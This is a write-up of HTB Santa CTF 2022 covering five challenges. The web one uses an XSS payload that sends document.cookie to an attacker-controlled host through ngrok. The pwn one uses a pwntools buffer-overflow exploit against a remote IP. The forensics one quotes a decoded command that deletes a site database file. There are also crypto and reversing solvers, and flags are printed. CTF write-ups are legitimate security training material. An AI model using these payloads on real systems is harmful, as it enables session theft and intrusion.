HTB Santa CTF 2022

Toy Workshop [ Web ]

Homepage

The homepage had nothing intresting

Source Code

/web_toy_workshop/challenge/routes/index.js

<--SNIPPED-->

router.post('/api/submit', async (req, res) => {

		const { query } = req.body;
		if(query){
			return db.addQuery(query)
				.then(() => {
					bot.readQueries(db);
					res.send(response('Your message is delivered successfully!'));
				});
		}
		return res.status(403).send(response('Please write your query first!'));
});

<--SNIPPED-->

So we have to send our query ( json data ) in /api/submit
It's a XSS

Solution

POST /api/submit HTTP/1.1
Host: 46.101.20.5:31726
Content-Type:application/json
Content-Length: 130

{
  "query":"<img src=x onerror=this.src='<IP>/c?'+document.cookie;>"
}

I used python3 http server with ngrok ( appended the link in )

Flag

After you sent the the POST request to the website, It will use the query and store it in it's database, and retrive the flag ( cookie ) for us
Start the python3 server , use ngrok , update the query

# flag : HTB{3v1l_3lv3s_4r3_r1s1ng_up!}

Common Mistake [ Crypto ]

Challenge files

Hex values


{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x10001', 'ct': '0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec9d3fe35a123960edc2cbdc238f332507b044d5dee1110f49311efc55a2efd3cf041bfb27130c2266e8dc61e5b99f275665823f584bc6139be4c153cdcf153bf4247fb3f57283a53e8733f982d790a74e99a5b10429012bc865296f0d4f408f65ee02cf41879543460ffc79e84615cc2515ce9ba20fe5992b427e0bbec6681911a9e6c6bbc3ca36c9eb8923ef333fb7e02e82c7bfb65b80710d78372a55432a1442d75cad5b562209bed4f85245f0157a09ce10718bbcef2b294dffb3f00a5a804ed7ba4fb680eea86e366e4f0b0a6d804e61a3b9d57afb92ecb147a769874'}
{'n': '0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef', 'e': '0x23', 'ct': '0x79834ce329453d3c4af06789e9dd654e43c16a85d8ba0dfa443aefe1ab4912a12a43b44f58f0b617662a459915e0c92a2429868a6b1d7aaaba500254c7eceba0a2df7144863f1889fab44122c9f355b74e3f357d17f0e693f261c0b9cefd07ca3d1b36563a8a8c985e211f9954ce07d4f75db40ce96feb6c91211a9ff9c0a21cad6c5090acf48bfd88042ad3c243850ad3afd6c33dd343c793c0fa2f98b4eabea399409c1966013a884368fc92310ebcb3be81d3702b936e7e883eeb94c2ebb0f9e5e6d3978c1f1f9c5a10e23a9d3252daac87f9bb748c961d3d361cc7dacb9da38ab8f2a1595d7a2eba5dce5abee659ad91a15b553d6e32d8118d1123859208'}

Integer values

n = 21388731509885000178627064516258054470260331371598943108291856742436111736828979864010924669228672392691259110152052179841234423220373839350729519449867096270377366080249815393746878871366061153796079471618562067885157333408378773203102328726963273544788844541658368239189745882391132838451159906995037703318134437625750463265571575001855682002307507556141914223053440116920635522540306152978955166077383503077296996797116492665606386925464305499727852298454712455680910133707466125522128546462287576144499756117801116464261543533542827392699481765864054797509983998681705356909524163419157085924159390221747612487407

e1 = 65537
e2 = 35
c1 = 10832767136661619622293208748444962392355211301390434120939858183061348121126484914263671262032603875084667844823015664447375648718327494489656817860025737727356822703892293211022320699697919627907394583787345038714333739600698382532854618636094930253033489471351451429607353151015568123268427367950348329135569722792929241394325167453525160818746481257803112384890621897151307914147207385945644054978785846514561379487923125221730977998641404608153621221989242862072038048891093337039913905830269768414927334743978508494831586214464123847828971941221037875260516473982025116976142753481691811417555124564400023181428

c2 = 15339581512280546253022387613330506135473528946217386214104392886174532962135139018179028980415602501799731665623533337161466343141774695260798342966907592969192136730428838101668117599627074424456369362732331025534652310626217911372168741784410233370188819015541694457313359727564553135243865091813543574169503409997765186767976316668351998243685484183615633052413572395870658899189135714137152486690320920884963915388873421509027812888500063744545503640233833759600980489533968220839778372130766115290961393758948141655306677776381429819578626575875511596616706688649422193432129579216085481063417748767088461582856

Solution

The encryption flag has 2 modulus with same flag ( message )
The attack used to get the flag is Common Modulus Attack
Learn more about this attack : https://infosecwriteups.com/rsa-attacks-common-modulus-7bdb34f331a5

Solve.py


import gmpy2
from Crypto.Util.number import *


n = 21388731509885000178627064516258054470260331371598943108291856742436111736828979864010924669228672392691259110152052179841234423220373839350729519449867096270377366080249815393746878871366061153796079471618562067885157333408378773203102328726963273544788844541658368239189745882391132838451159906995037703318134437625750463265571575001855682002307507556141914223053440116920635522540306152978955166077383503077296996797116492665606386925464305499727852298454712455680910133707466125522128546462287576144499756117801116464261543533542827392699481765864054797509983998681705356909524163419157085924159390221747612487407

e1 = 65537
e2 = 35
c1 = 10832767136661619622293208748444962392355211301390434120939858183061348121126484914263671262032603875084667844823015664447375648718327494489656817860025737727356822703892293211022320699697919627907394583787345038714333739600698382532854618636094930253033489471351451429607353151015568123268427367950348329135569722792929241394325167453525160818746481257803112384890621897151307914147207385945644054978785846514561379487923125221730977998641404608153621221989242862072038048891093337039913905830269768414927334743978508494831586214464123847828971941221037875260516473982025116976142753481691811417555124564400023181428

c2 = 15339581512280546253022387613330506135473528946217386214104392886174532962135139018179028980415602501799731665623533337161466343141774695260798342966907592969192136730428838101668117599627074424456369362732331025534652310626217911372168741784410233370188819015541694457313359727564553135243865091813543574169503409997765186767976316668351998243685484183615633052413572395870658899189135714137152486690320920884963915388873421509027812888500063744545503640233833759600980489533968220839778372130766115290961393758948141655306677776381429819578626575875511596616706688649422193432129579216085481063417748767088461582856

def egcd(a, b):
  if (a == 0):
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)
    
def neg_pow(a, b, n):
	assert b < 0
	assert GCD(a, n) == 1
	res = int(gmpy2.invert(a, n))
	res = pow(res, b*(-1), n)
	return res

def common_modulus(e1, e2, n, c1, c2):
	g, a, b = egcd(e1, e2)
	if a < 0:
		c1 = neg_pow(c1, a, n)
	else:
		c1 = pow(c1, a, n)
	if b < 0:
		c2 = neg_pow(c2, b, n)
	else:
		c2 = pow(c2, b, n)
	ct = c1*c2 % n
	m = int(gmpy2.iroot(ct, g)[0])
	return long_to_bytes(m)

print(common_modulus(e1, e2, n, c1, c2).decode())

# Flag : HTB{c0mm0n_m0d_4774ck_15_4n07h3r_cl4ss1c}

Giftwrap [ Reversing ]

This is day 2 challenge

Binary Info

└─$ strings giftwrap 
<--SNIPPED-->
A	?un
G7FA	te
who1D
=ddr
}643e
Pb+4%
to]"
-id%ABI-0
2.OZo
AIX5
ot	+
.bss
!$_\
K[lbO
16 8
,6H_
^lOW
s:m/
UPX!
UPX!

by using strings we get to know the binary is compressed by UPX
What is UPX ?

UPX achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression

Decompressing the binary

└─$ upx -d giftwrap            
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    925312 <-    357628   38.65%   linux/amd64   giftwrap

Unpacked 1 file.

Analyzing Binary

└─$ ./giftwrap 
What's the magic word? asdf
Wrong password! Who are you?!?

The binary is a typical crackme challenge
Let's boot up the binary in ghidra

Main function

Each character of the user input is xored with 0xf3

<--SNIPPED-->
printf("What\'s the magic word? ");
  __isoc99_scanf("%256s",&user_input);
  local_11c = 0;
  while (local_11c < 0x100) {
    *(byte *)((long)&user_input + (long)(int)local_11c) =
         *(byte *)((long)&user_input + (long)(int)local_11c) ^ 0xf3;
    local_11c = local_11c + 1;
  }
  iVar1 = thunk_FUN_004010e6(CHECK,&user_input,0x17);
  if (iVar1 == 0) {
    puts("Welcome inside...");
  }
  else {
    puts("Wrong password! Who are you?!?");
  }

After xoring the value ( xored input ) is compared with CHECK variable

Solution

Let's the data stored in CHECK variable

                             CHECK                                           XREF[3]:     Entry Point(*), main:004019fa(*), 
                                                                                          main:00401a01(*)  
        004cc0f0 bb a7 b1        undefine
                 88 86 83 
                 8b ac c7 
           004cc0f0 bb              undefined1BBh                     [0]                               XREF[3]:     Entry Point(*), main:004019fa(*), 
                                                                                                                     main:00401a01(*)  
           004cc0f1 a7              undefined1A7h                     [1]
           004cc0f2 b1              undefined1B1h                     [2]
           004cc0f3 88              undefined188h                     [3]
           004cc0f4 86              undefined186h                     [4]
           004cc0f5 83              undefined183h                     [5]
           004cc0f6 8b              undefined18Bh                     [6]
           004cc0f7 ac              undefined1ACh                     [7]
           004cc0f8 c7              undefined1C7h                     [8]
           004cc0f9 c2              undefined1C2h                     [9]
           004cc0fa 9d              undefined19Dh                     [10]
           004cc0fb 87              undefined187h                     [11]
           004cc0fc ac              undefined1ACh                     [12]
           004cc0fd c6              undefined1C6h                     [13]
           004cc0fe c3              undefined1C3h                     [14]
           004cc0ff ac              undefined1ACh                     [15]
           004cc100 9b              undefined19Bh                     [16]
           004cc101 c7              undefined1C7h                     [17]
           004cc102 81              undefined181h                     [18]
           004cc103 97              undefined197h                     [19]
           004cc104 d2              undefined1D2h                     [20]
           004cc105 d2              undefined1D2h                     [21]
           004cc106 8e              undefined18Eh                     [22]
           004cc107 00              undefined100h                     [23]

Let's store the CHECK values locally and xor it with 0xf3 to get flag

solve.py


check_values = 'bb a7 b1 88 86 83 8b ac c7 c2 9d 87 ac c6 c3 ac 9b c7 81 97 d2 d2 8e 00'.split(' ')
int_values = [int(i,16) for i in check_values]

flag = ''.join([chr(i ^ 0xf3) for i in int_values])
print(flag)

Flag

└─$ ./giftwrap 

What's the magic word? 
HTB{upx_41nt_50_h4rd!!}ó
Welcome inside...

# flag : HTB{upx_41nt_50_h4rd!!}ó

Mr Snowy [ Pwn ]

Solution

Checksec

The NX is enabled which makes the stack unexecutabble
THe PIE is disabled so we dont have to find the address
The binary is just a simple bufferoverflow

Functions of the binary has

Main function

The main funciton after executing calls 3 functions , let's checkout the snowman function

It's quiet difficult to do the task only with asm , I've used Ghidra which has a feature of converting ( almost same ) asm back to the original C code

Snowman Function


void snowman(void)

{
  int iVar1;
  char local_48 [64];
  
  printstr("\n[*] This snowman looks sus..\n\n1. Investigate 🔎\n2. Let it be   ⛄\n> ");
  fflush(stdout);
  read(0,local_48,2);
  iVar1 = atoi(local_48);
  if (iVar1 != 1) {
    printstr("[*] It\'s just a cute snowman after all, nothing to worry about..\n");
    color("\n[-] Mission failed!\n",&DAT_0040161a,&DAT_00401664);
                    /* WARNING: Subroutine does not return */
    exit(-0x45);
  }
  investigate();
  return;
}

This code is basically the first part
When option 1 is selected it calls antoher funtion : investigate()

Inverstigate Function


void investigate(void)

{
  int iVar1;
  char local_48 [64];
  
  fflush(stdout);
  printstr(
          "\n[!] After some investigation, you found a secret camera inside the snowman!\n\n1.Deactivate ⚠\xfe0f\n2. Break it   🔨\n> "
          );
  fflush(stdout);
  read(0,local_48,0x108);
  iVar1 = atoi(local_48);
  if (iVar1 == 1) {
    puts("\x1b[1;31m");
    printstr("[!] You do not know the password!\n[-] Mission failed!\n");
                    /* WARNING: Subroutine does not return */
    exit(0x16);
  }
  iVar1 = atoi(local_48);
  if (iVar1 == 2) {
    puts("\x1b[1;31m");
    printstr(
            "[!] This metal seems unbreakable, the elves seem to have put a spell on it..\n[-]Mission failed!\n"
            );
                    /* WARNING: Subroutine does not return */
    exit(0x16);
  }
  fflush(stdout);
  puts("\x1b[1;31m");
  fflush(stdout);
  puts("[-] Mission failed!");
  fflush(stdout);
  return;
}

There's another function named `deactivate camera`


void deactivate_camera(void)

{
  char acStack104 [48];
  FILE *local_38;
  char *local_30;
  undefined8 local_28;
  int local_1c;
  
  local_1c = 0x30;
  local_28 = 0x2f;
  local_30 = acStack104;
  local_38 = fopen("flag.txt","rb");
  if (local_38 == (FILE *)0x0) {
    fwrite("[-] Could not open flag.txt, please conctact an Administrator.\n",1,0x3f,stdout);
                    /* WARNING: Subroutine does not return */
    exit(-0x45);
  }
  fgets(local_30,local_1c,local_38);
  puts("\x1b[1;32m");
  fwrite("[+] Here is the secret password to deactivate the camera: ",1,0x3a,stdout);
  puts(local_30);
  fclose(local_38);
  return;
}

Overflow

So we basically have to find the offset in investigation function, overflow it and set the $rip ( Instruction pointter ) to deactivate_camera function
Find OFFSET
Set breakpoint at exit in investigate() [ address of exit : 0x00000000004013ea ] and create a pattern to find offset

Run the program , give option 1 to go in investigate function

This is how stack will look when we hit our breakpoint

So the OFFSET is 72

Exploit

Send buffer of 72 characters
Add the addresss of deactivate camera function
Send the payload and get the flag

Solve.py

from pwn import *

# nc 134.209.30.250:30947
p = remote('134.209.30.250',30947)

payload = b'A'*72
payload += p64(0x00401165)

p.recv()
p.sendline(b'1')
p.recv()
p.sendline(payload)
p.interactive()

Flag

# Flag : HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}

baby APT [ Forensics ]

Note

This is unintended way to do the challenge

Solution

Strings command showed some HTTP requets

URL encoded

cmd=rm++%2Fvar%2Fwww%2Fhtml%2Fsites%2Fdefault%2Ffiles%2F.ht.sqlite+%26%26+echo+SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59+%3E+%2Fdev%2Fnull+2%3E%261+%26%26+ls+-al++%2Fvar%2Fwww%2Fhtml%2Fsites%2Fdefault%2Ffiles

URL decoded

cmd=rm  /var/www/html/sites/default/files/.ht.sqlite && echo SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 > /dev/null 2>&1 && ls -al  /var/www/html/sites/default/files

Flag

└─$ echo "SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59" | base64 -d 

HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}

Previous2022 CTFs NextTechnovanza 2022

Last updated 2 years ago

hashtagToy Workshop [ Web ]

hashtagHomepage

hashtagSource Code

hashtagSolution

hashtagFlag

hashtagCommon Mistake [ Crypto ]

hashtagChallenge files

hashtagSolution

hashtagSolve.py

hashtagGiftwrap [ Reversing ]

hashtagBinary Info

hashtagDecompressing the binary

hashtagAnalyzing Binary

hashtagMain function

hashtagSolution

hashtagsolve.py

hashtagFlag

hashtagMr Snowy [ Pwn ]

hashtagSolution

hashtagChecksec

hashtagFunctions of the binary has

hashtagMain function

hashtagSnowman Function

hashtagInverstigate Function

hashtagThere's another function named deactivate camera

hashtagOverflow

hashtagExploit

hashtagSolve.py

hashtagFlag

hashtagbaby APT [ Forensics ]

hashtagNote

hashtagSolution

hashtagFlag

Toy Workshop [ Web ]

Homepage

Source Code

Solution

Flag

Common Mistake [ Crypto ]

Challenge files

Solution

Solve.py

Giftwrap [ Reversing ]

Binary Info

Decompressing the binary

Analyzing Binary

Main function

Solution

solve.py

Flag

Mr Snowy [ Pwn ]

Solution

Checksec

Functions of the binary has

Main function

Snowman Function

Inverstigate Function

There's another function named `deactivate camera`

Overflow

Exploit

Solve.py

Flag

baby APT [ Forensics ]

Note

Solution

Flag